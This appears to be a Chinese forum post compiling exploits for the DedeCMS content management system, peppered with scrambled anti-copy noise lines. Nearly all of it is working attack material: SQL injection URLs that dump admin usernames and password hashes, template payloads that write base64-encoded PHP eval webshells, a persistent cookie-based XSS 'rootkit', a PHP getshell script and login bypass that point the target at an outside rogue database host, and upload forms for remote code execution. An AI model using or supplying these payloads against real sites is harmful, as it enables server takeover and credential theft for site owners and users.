dedecms漏洞总结

admin

& ^. N" m# z4 M) N0 tDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

' q5 ]* ?* F% @% {

8 X$ a& `3 w0 e# \# `




! j1 v- E$ s7 ]. WDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
$ s4 m* ^$ K  S# _' i发表后查看或修改即可执行
, o( o2 V" z1 u  L+ Ea{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
7 a) n/ l) g/ H5 q4 n生成x.php 密码xiao，直接生成一句话。




/ z8 R! {+ x0 ^/ c3 U5 {
/ b  x3 U; y5 ~  x; _
4 M2 q- G# r* n1 L. G# _! g

Dede 5.6 GBK SQL注入漏洞
( _' W! U2 g" yhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
$ t: E# m) L$ ]3 ~( v4 lhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7






4 y5 @; R! R2 _! g0 i: Z: L) D
/ t4 y% M5 f' d1 T6 W
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`





1 K6 a* m/ f9 ]6 `
8 q& b& Z! Q# E0 `. D& T( dDEDECMS 全版本 gotopage变量XSS漏洞
: `, a! w1 E) n0 B/ {8 r1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
' {! V3 s5 C0 G( M

2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
2 p% J( U' |0 t# h0 H5 ehttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


http://v57.demo.dedecms.com/dede/login.php

! n" a% I* B2 V7 {( T& e
color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
set_time_limit(0);
5 L; X% j# N- R( j+ zprint_r('
: i1 m! O) C! V' s7 k- U4 ^, C9 l9 kDEDEcms Variable Coverage
  C" t  X5 r; s7 m; l( u% S: U' IExploit Author: www.heixiaozi.comwww.webvul.com
% e) t& k' N" t9 @5 g, _);
; Q. _/ _0 v8 ^* M* Mecho "\r\n";
* H" _  ]0 o4 g6 ]7 ^/ \if($argv[2]==null){
9 O+ y+ ^7 `- j% ~! kprint_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
$ G- V! K3 _+ R2 y9 e3 @aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
9 c. C8 j. x- D' H3 @  s; }Example:
. Q: t0 l* X7 ~/ J+ r6 @- n/ a5 Y0 ~php '.$argv[0].' www.site.com 1 old
  \9 L: a& l: [  L+ {7 F5 P+---------------------------------------------------------------------------+
');
7 j% t! ^7 R' \4 u$ t+ }exit;
}
$url=$argv[1];
4 x, {9 i& \! G/ w2 ~! X( l$aid=$argv[2];
0 a( |  H  J- u& w! R$path=$argv[3];
! F* D! a& ^/ ]$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
3 }% Q# m1 J# G' ?* C6 c/ I, d" hif($aid==1)echo "
% A$ e! u# e) F" xShell:".$url."/$path/data/cache/fuck.php\n" ;
: e1 S! S, r4 p. Y
9 h; m$ D1 f, b  \' P' I0 _
, x. ~- W! G! I: q. L0 D* \9 pif($aid==2)echo "
) V' `; ], u' k1 D: ^" j5 K, [Shell:".$url."/$path/fuck.php\n" ;


if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
0 F4 e( ]  [. T2 X

5 K+ Y5 k! u, z" }}else{
echo "
, N5 m- U& d+ Q3 G) [Exploit Failed \n";
}
0 e$ v; j4 a) h5 Q  G( ]function Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
$ I: Z% m- U5 z. ?& p$port="80";
5 c& V6 T$ o, {  v$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
7 F" M- |' u/ i0 g9 s8 P1 W& _' p$data .= "Host: ".$host."\r\n";
, a  t0 j5 V' h+ d! ?$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
- @; W) I; q1 o/ ?' l7 W$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
' m' \' O' D: h1 m//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
! q9 S* B+ q3 Q/ Y4 O2 @+ a8 i$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
. U) A, F4 a8 _% |( k7 K$data .= $content."\r\n";
8 U% O  |6 U: H/ e5 C+ B9 i  q$ock=fsockopen($host,$port);
- ~4 F% V8 e2 O3 ~6 W4 d6 ^if (!$ock) {
echo "
% q4 k- J: \) y1 x- p9 xNo response from ".$host."\n";
}
fwrite($ock,$data);
- O- X$ l9 [4 W$ n' Y" Bwhile (!feof($ock)) {
8 i/ n5 v9 a( |- f9 }2 L$exp=fgets($ock, 1024);
/ [' v: F8 [7 `, Z# v' Qreturn $exp;
7 n) Q0 i! g9 p$ g2 c. K8 \}
$ N! h" ]' _, L. B4 T5 r+ N6 {0 {}


; `" o, G  }' C+ i  T?>

3 S1 R0 U- a% i1 j) o* V8 R
( s) q: j) g# q7 O$ k7 W5 w' C9 i




  ]. w& _7 S6 a* k4 D
0 R$ Q* L0 {9 `6 w
' F1 ~% D6 {* Q) R4 r
- M5 t. }4 }0 Q( d0 ]DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
' U1 z& R5 j! q1 q( S4 Bhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
. Q" Z, _" s- b

' |# a+ e5 B$ m; z; Y8 ?/ }把上面validate=dcug改为当前的验证码，即可直接进入网站后台


此漏洞的前提是必须得到后台路径才能实现

5 |% ]; @  [  _9 J) `. ?0 p& U" j
. R* u: k* F$ ~2 q


, }$ V0 Y* t4 D  \: n; [; s. d
( P3 |7 t: r6 J. C3 X
4 G$ v# x  q8 q' z
( z# ]; x- n/ G. H
! m/ H6 b: \9 U6 l/ e1 x
$ V5 d3 Y: y5 O7 pDedecms织梦 标签远程文件写入漏洞
: K; t' s$ t4 M8 Y6 R5 T$ x前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
1 H2 J* `2 m0 f% M  h

再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
2 d+ M: T. D' u: V3 l1 p7 e<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
5 t" O/ _% s. Q<script>
  h' d" p! k: z$ @( ^function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
5 h( T1 D$ x4 ^0 D
2 u! Q  j0 r6 s" U* l6 H
; ?% `6 |/ J; O( e






& o5 `( \2 i+ [2 U' X- a
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
1 e# h0 A7 }* R, ~$ ca{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
- W) v; Y0 H* F9 V* t! cDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
& t: |3 g' H; N! G; iuploads/userup/2/12OMX04-15A.jpg

  x; b# y" ~7 T7 e
5 q  n! i2 a( w模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
, x" T# G( a$ f1 p7 \$fp = @fopen("1.php", 'a');
* f8 a1 u3 F" k- c! c@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
% t6 X- _, f+ z/ K<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
2 q* f1 Q, a  I7 e  x( t0 A1 O<input type="hidden" name="dopost" value="save" />
5 a+ N- H2 b) c) \  y' o3 s<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
5 q* M; Z5 p* D) j) m5 C<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />

' Q( @4 ?7 g2 \# ]( G" ^
3 V6 W1 v" q- p1 B$ w- q<div id="mainCp">
! a0 j) d1 s4 n. N9 N; D/ V<h3 class="meTitle"><strong>修改文章</strong></h3>

5 W* A" P- E/ _4 F
  [2 D+ D' @' N9 G<div class="postForm">
) i5 R' p( {$ L6 R5 J# l<label>标题：</label>
* x7 _" r5 _: [3 t( S$ L  v<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>


<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)


& r5 |9 O1 `& F- ?0 W+ q! {0 }<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

& D: I0 E& [, g  A( P) Q
  N. A) b& n$ t1 n<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
" n# o6 z. j2 ~6 \2 ]

, O/ \8 }! y' @0 _  P<label>我的分类：</label>
5 V7 u$ q9 E+ b7 v; e9 B( ?<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
. _4 y4 {* A) M+ p<option value='1' class='option3' selected>hahahha</option>
</select>


<label>信息摘要：</label>
2 d3 `+ B! w  L' T& |<textarea name="description" id="description">1111111</textarea>
# y7 _# c  g3 `! E( B2 J& G(内容的简要说明)
8 o- x: T& I9 @! l$ U

+ [$ B3 ]3 [9 s* ]) G! Q<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

' P! S  c# ~2 ^* C+ ~! a
# ]( d3 m( D$ R. Q9 u<input type='text' name='templet'
7 I  G, i$ a) c" }value="../ uploads/userup/2/12OMX04-15A.jpg">
8 Z( P( B8 ]- W# B! Y' n<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
$ ^0 \$ s- f+ g( ~) P* u</div>

5 J2 h1 l9 o8 n# E% x, G) e
+ K/ Z; M# I1 e* S" c! y<!-- 表单操作区域 -->
7 a  y0 {6 M, Y& @$ X% O5 a7 ?<h3 class="meTitle">详细内容</h3>

1 T. |0 \; P5 L
<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
  h4 A$ \, C; z  c
4 F6 l7 U8 a2 m% h( K; H; s
<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
' B' M) R( S+ }8 x/ E5 t<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
& W; a7 _2 y( l# N& _! a
" h/ Z/ j- H0 T6 @/ J
<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
; b& ]: \9 o* G; c& L</div>
' c$ N- l! c2 _* ?% v- K1 G* N

6 K7 I; i; l& W( Z, v% s1 h</div>


</form>
0 j' T: u: f0 J- b  P! ~

  u- W4 M0 F3 k2 }提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
8 ]! x8 J% u9 h; [, h1 T) ?http://127.0.0.1/dede/plus/view.php?aid=2
, ?  a, G: C1 T# k( V即可以在plus目录下生成webshell：1.php

8 A( k) w, Q5 `4 z0 K

1 l; E8 |2 e5 \5 ^

6 X% b- v* Q6 G, G




8 \+ D1 j$ _3 A3 D$ E, T4 c9 H

  ], z2 p+ Y2 Y8 b$ J9 IDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
. i3 P% d. n: I8 hGif89a{dede:field name='toby57' runphp='yes'}
1 F+ e9 t, J0 z' Y" V4 _9 lphpinfo();
! H' h) e/ p6 I0 P& T{/dede:field}
: ^6 k; K1 O9 g2 g' j0 j保存为1.gif
4 {- F" y$ W% b' ^<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
+ N" j3 m8 W8 ~" b% S4 ]) Z<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
$ n! b1 Q' T6 o) i. D$ F( J& s<input type="hidden" name="dopost" value="save" />
2 `# i2 S# I6 p1 \: n<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
8 ^7 ^9 H: U' s$ h; ?0 b$ Y1 O<input name="addonfile" type="file" id="addonfile"/>
4 j5 }+ a8 v4 x* v, e" l. ]<button class="button2" type="submit" >更改</button>
" B) D' o+ v& N' j</form>


构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
6 ?' h1 n; |, j% ?! O7 q0 [% H

<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
! o' k/ e5 D5 u( R" z<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
& I& T1 \% ^4 u1 F- b<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
1 }, W- J6 e" D0 ]% D2 i/ }<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
' y3 l" H. g% O5 T- f9 y* t3 M<select name='typeid' size='1'>
* P9 D7 K8 C! X: D<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
# h2 l8 J0 z0 f1 u<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
+ P$ f) l2 }9 n1 M* B<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
$ B& b4 c. p! B5 A1 H+ J5 S* p</form>
1 s+ M5 I1 \( J% ?- K

# W( F! F' i  u! Y1 A: I


2 f: e( O. ?1 L$ T$ {4 m



8 l# P$ B( _. ]4 d7 W5 w

) G, D( C; n8 [7 n4 N5 G5 [
, m, F8 c7 b7 C织梦(Dedecms)V5.6 远程文件删除漏洞
2 x5 J8 r0 f2 J& jhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

; L) W. S3 _- j) G. d
$ w) d8 @9 B  g% E8 L( n9 e4 I4 Y
0 V1 w! D0 ^; u; x
/ @4 K- X- B( L

/ E. q: \0 j- d7 j; U


/ X- ?8 \1 Q% B2 k, V- n9 Z
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
; E. `+ ?4 Z7 Chttp://www.test.com/plus/carbuya ... urn&code=../../
! i# X; A5 M- k" g& Q) ^' h
5 z- y7 U1 |  a& Z/ V) ]! Z) _5 C



3 v9 B& R+ b4 ]/ \7 j0 [
4 L. u1 K" b6 w6 f, D' B  l
3 s$ o+ T* c& `& V
# V8 K8 H& x* ]1 a* H6 X) T
) Q2 ~& [6 t2 L/ x6 t( n- O
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
1 ?3 Y) M4 L3 c密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

- D( o' }- ~" y% U

; A: ?1 M( X$ N' I( o% S
' E* u, U) W! o" m( u
: A* ?1 _* W* o% T
  J5 E$ L) B: `. d2 W9 c
6 Z! J% A/ p6 T1 \! K* h
. _, t" ^' |, ^  C1 W" H

织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='


% t& A' e' ]! L' K0 [
, m- {4 H0 B( K1 {
% G" E6 F/ s7 o/ |# j  k
" P- k2 c7 y) X2 A" m
) G7 ~+ z" k" d3 K5 B
( V! S/ H/ I$ E


织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
4 Z) U, T% b: l<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
, l' f, P5 @* M4 k7 e# C---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
' x7 B* |' r% Q; A<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
& I& ?  O. ?; x5 m; B<input type='hidden' name='cfg_softtype' value='php' />
% _9 R* H/ U0 C: P7 v<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
  a: K1 N- ~# ~9 }</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
  e8 y3 ?0 l0 |, kNeed register_globals = on...<br />
' b# t% {3 m  A6 EFun the game,get a webshell at /data/cache/fly.php...<br />
</body>
) V0 R% [& T/ a" i! `</html>



6 W% u! n9 a9 ^2 R. S


. W; n! V# i. S! e

3 J/ U& ~0 l* @9 Z. {' V& D

1 P. t  m) o% p2 Y. T织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
* a/ l! X7 l  K8 b% m4 X, V( L
" \: E/ u6 H  Z4 J" z' ]
2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
4 [& ]9 |; G  G' F# j& v4 fint(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
- ?( ~4 ^6 Y5 q. E+ Z  f3 H4 X, L

3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

! X- Z% H# L; h9 t/ d. f* V
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>


按确定后的看到第2步骤的信息表示文件木马上传成功.

( {( f( r' Z' e& B7 S5 y
4 }  D. s, F/ v. _& M  B

: W+ l) k/ J( v
. E' c) h1 v$ t9 b+ `% c
( B  u" X' R, y$ n
) H5 U; {5 @- u3 @( G1 m3 b
4 \% _4 \& X+ f- @

& a  A: j( {2 F- O5 O3 n8 y0 u

织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*